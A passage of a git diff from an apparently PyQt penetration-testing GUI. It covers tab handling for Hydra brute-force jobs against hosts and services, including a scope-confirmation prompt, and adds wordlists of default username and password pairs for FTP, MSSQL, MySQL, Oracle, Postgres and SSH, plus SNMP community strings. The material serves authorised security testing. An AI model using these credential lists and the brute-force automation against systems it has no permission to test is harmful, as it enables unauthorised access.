reply == QtGui.QMessageBox.Yes: + self.killBruteProcess(self.ui.BruteTabWidget.currentWidget()) + else: + return + + dbIdString = self.ui.BruteTabWidget.currentWidget().display.property('dbId') + if dbIdString: + if not dbIdString == '': + self.controller.storeCloseTabStatusInDB(int(dbIdString)) + + self.ui.BruteTabWidget.removeTab(index) # remove the tab + + if currentTabIndex >= self.ui.BruteTabWidget.currentIndex(): # select the initially selected tab + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + else: + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex) + + if self.ui.BruteTabWidget.count() == 0: # if the last tab was removed, add default tab + self.createNewBruteTab('127.0.0.1', '22', 'ssh') + + def resetBruteTabs(self): + count = self.ui.BruteTabWidget.count() + for i in range(0, count): + self.ui.BruteTabWidget.removeTab(count -i -1) + self.createNewBruteTab('127.0.0.1', '22', 'ssh') + + # TODO: show udp in tabtitle when udp service + def callHydra(self, bWidget): + if validateNmapInput(bWidget.ipTextinput.text()) and validateNmapInput(bWidget.portTextinput.text()) and validateCredentials(bWidget.usersTextinput.text()) and validateCredentials(bWidget.passwordsTextinput.text()): + # check if host is already in scope + if not self.controller.isHostInDB(bWidget.ipTextinput.text()): + message = "This host is not in scope. Add it to scope and continue?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.Yes) + if reply == QtGui.QMessageBox.No: + return + else: + print('Adding host to scope here!!') + self.controller.addHosts(str(bWidget.ipTextinput.text()), False, False) + + bWidget.validationLabel.hide() + bWidget.toggleRunButton() + bWidget.resetDisplay() # fixes tab bug + + hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), self.controller.getUserlistPath(), self.controller.getPasslistPath()) + bWidget.setObjectName(str("hydra"+" ("+bWidget.getPort()+"/tcp)")) + + hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) + if str(bWidget.ip) in self.hostTabs: + hosttabs = self.hostTabs[str(bWidget.ip)] + + hosttabs.append(bWidget) + self.hostTabs.update({str(bWidget.ip):hosttabs}) + + bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), 'tcp', unicode(hydraCommand), getTimestamp(True), bWidget.outputfile, bWidget.display) + bWidget.runButton.clicked.disconnect() + bWidget.runButton.clicked.connect(lambda: self.killBruteProcess(bWidget)) + + else: + bWidget.validationLabel.show() + + def killBruteProcess(self, bWidget): + dbId = str(bWidget.display.property('dbId')) + status = self.controller.getProcessStatusForDBId(dbId) + if status == "Running": # check if we need to kill or cancel + self.controller.killProcess(self.controller.getPidForProcess(dbId), dbId) + + elif status == "Waiting": + self.controller.cancelProcess(dbId) + self.bruteProcessFinished(bWidget) + + def bruteProcessFinished(self, bWidget): + bWidget.toggleRunButton() + bWidget.pid = -1 + + # disassociate textview from bWidget (create new textview for bWidget) and replace it with a new host tab + self.createNewTabForHost(str(bWidget.ip), str(bWidget.objectName()), restoring=True, content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) + + hosttabs = [] # go through host tabs and find the correct bWidget + if str(bWidget.ip) in self.hostTabs: + hosttabs = self.hostTabs[str(bWidget.ip)] + + if hosttabs.count(bWidget) > 1: + hosttabs.remove(bWidget) + + self.hostTabs.update({str(bWidget.ip):hosttabs}) + + bWidget.runButton.clicked.disconnect() + bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) + + def findFinishedBruteTab(self, pid): + for i in range(0, self.ui.BruteTabWidget.count()): + if str(self.ui.BruteTabWidget.widget(i).pid) == pid: + self.bruteProcessFinished(self.ui.BruteTabWidget.widget(i)) + return + + def blinkBruteTab(self, bWidget): + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor('red')) + for i in range(0, self.ui.BruteTabWidget.count()): + if self.ui.BruteTabWidget.widget(i) == bWidget: + self.ui.BruteTabWidget.tabBar().setTabTextColor(i, QtGui.QColor('red')) + return diff --git a/wordlists/ftp-default-userpass.txt b/wordlists/ftp-default-userpass.txt new file mode 100644 index 00000000..31fd65ca --- /dev/null +++ b/wordlists/ftp-default-userpass.txt @@ -0,0 +1,10 @@ +anonymous:anonymous +anonymous:sp@rta.com +admin:admin +admin:password +ftp:ftp +ftp:password +guest:guest +root:root +root:toor +test:test diff --git a/wordlists/mssql-default-userpass.txt b/wordlists/mssql-default-userpass.txt new file mode 100644 index 00000000..2be93b0f --- /dev/null +++ b/wordlists/mssql-default-userpass.txt @@ -0,0 +1,3 @@ +sa: +sa:sa +sa:password diff --git a/wordlists/mysql-default-userpass.txt b/wordlists/mysql-default-userpass.txt new file mode 100644 index 00000000..15a6647a --- /dev/null +++ b/wordlists/mysql-default-userpass.txt @@ -0,0 +1,3 @@ +root: +root:password +root:mysql diff --git a/wordlists/oracle-default-userpass.txt b/wordlists/oracle-default-userpass.txt new file mode 100644 index 00000000..124b5cf5 --- /dev/null +++ b/wordlists/oracle-default-userpass.txt @@ -0,0 +1,58 @@ +ADAMS:WOOD +ANONYMOUS:ANONYMOUS +BLAKE:PAPER +CCT:CCT +CLARK:CLOTH +CTXSYS:CTXSYS +CTXSYS:CHANGE_ON_INSTALL +DBSNMP:DBSNMP +DEMO:DEMO +DIP:DIP +DMSYS:DMSYS +EXFSYS:EXFSYS +JONES:STEEL +HR:HR +LBACSYS:LBACSYS +MDDATA:MDDATA +MDSYS:MDSYS +ODM:ODM +ODM_MTR:MTRPW +OE:OE +OLAPDBA:OLAPDBA +OLAPSVR:INSTANCE +OLAPSVR:OLAPSVR +OLAPSYS:MANAGER +OLAPSYS:OLAPSYS +ORDPLUGINS:ORDPLUGINS +ORDSERVER:ODS +ORDSYS:ORDSYS +OUTLN:OUTLN +PM:PM +QS:QS +RMAN:RMAN +SCOTT:TIGER +SCOTT:TIGGER +SH:SH +SYS:CHANGE_ON_INSTALL +SYS:INTERNAL +SYS:MANAGER +SYS:ORACLE +SYS:SYS +SYS:SYSPASS +SYS:manag3r +SYS:oracle8 +SYS:oracle9 +SYS:oracle8i +SYS:oracle9i +SYSMAN:OEM_TEMP +SYSTEM:SYSTEM +SYSTEM::CHANGE_ON_INSTALL +SYSTEM:MANAGER +TSMSYS:TSMSYS +WKADMIN:WKADMIN +WKPROXY:WKPROXY +WKSYS:WKSYS +WMSYS:WMSYS +WKUSER:WKUSER +WK_TEST:WK_TEST +XDB:CHANGE_ON_INSTALL diff --git a/wordlists/postgres-default-userpass.txt b/wordlists/postgres-default-userpass.txt new file mode 100644 index 00000000..8aa3b0e0 --- /dev/null +++ b/wordlists/postgres-default-userpass.txt @@ -0,0 +1,6 @@ +admin:admin +admin:password +postgres: +postgres:admin +postgres:password +postgres:postgres diff --git a/wordlists/snmp-default.txt b/wordlists/snmp-default.txt new file mode 100644 index 00000000..0575e194 --- /dev/null +++ b/wordlists/snmp-default.txt @@ -0,0 +1,196 @@ + +0 +0392a0 +1234 +2read +3com +3Com +3COM +4changes +access +adm +admin +Admin +administrator +agent +agent_steal +all +all private +all public +anycom +ANYCOM +apc +bintec +blue +boss +c +C0de +cable-d +cable_docsispublic@es0 +cacti +canon_admin +cascade +cc +changeme +cisco +CISCO +cmaker +comcomcom +community +core +CR52401 +crest +debug +default +demo +dilbert +enable +entry +field +field-service +freekevin +friend +fubar +guest +hello +hideit +host +hp_admin +ibm +IBM +ilmi +ILMI +intel +Intel +intermec +Intermec +internal +internet +ios +isdn +l2 +l3 +lan +liteon +login +logon +lucenttech +lucenttech1 +lucenttech2 +manager +master +microsoft +mngr +mngt +monitor +mrtg +nagios +net +netman +network +nobody +NoGaH$@! +none +notsopublic +nt +ntopia +openview +operator +OrigEquipMfr +ourCommStr +pass +passcode +password +PASSWORD +pr1v4t3 +pr1vat3 +private + private +Private +PRIVATE +private@es0 +Private@es0 +private@es1 +Private@es1 +proxy +publ1c +public + public +Public +PUBLIC +public@es0 +public@es1 +public/RO +read +read-only +readwrite +read-write +red +regional + +rmon +rmon_admin +ro +root +router +rw +rwa +sanfran +san-fran +scotty +secret +Secret +SECRET +Secret C0de +security +Security +SECURITY +seri +server +snmp +SNMP +snmpd +snmptrap +snmp-Trap +SNMP_trap +SNMPv1/v2c +SNMPv2c +solaris +solarwinds +sun +SUN +superuser +supervisor +support +switch +Switch +SWITCH +sysadm +sysop +Sysop +system +System +SYSTEM +tech +telnet +TENmanUFactOryPOWER +test +TEST +test2 +tiv0li +tivoli +topsecret +traffic +trap +user +vterm1 +watch +watchit +windows +windowsnt +workstation +world +write +writeit +xyzzy +yellow diff --git a/wordlists/ssh-password.txt b/wordlists/ssh-password.txt new file mode 100644 index 00000000..ac17824e --- /dev/null +++ b/wordlists/ssh-password.txt @@ -0,0 +1,2 @@ +password +p@55w0rd diff --git a/wordlists/ssh-user.txt b/wordlists/ssh-user.txt new file mode 100644 index 00000000..4df966c9 --- /dev/null +++ b/wordlists/ssh-user.txt @@ -0,0 +1,5 @@ +root +sysop +admin +admnistrator +superuser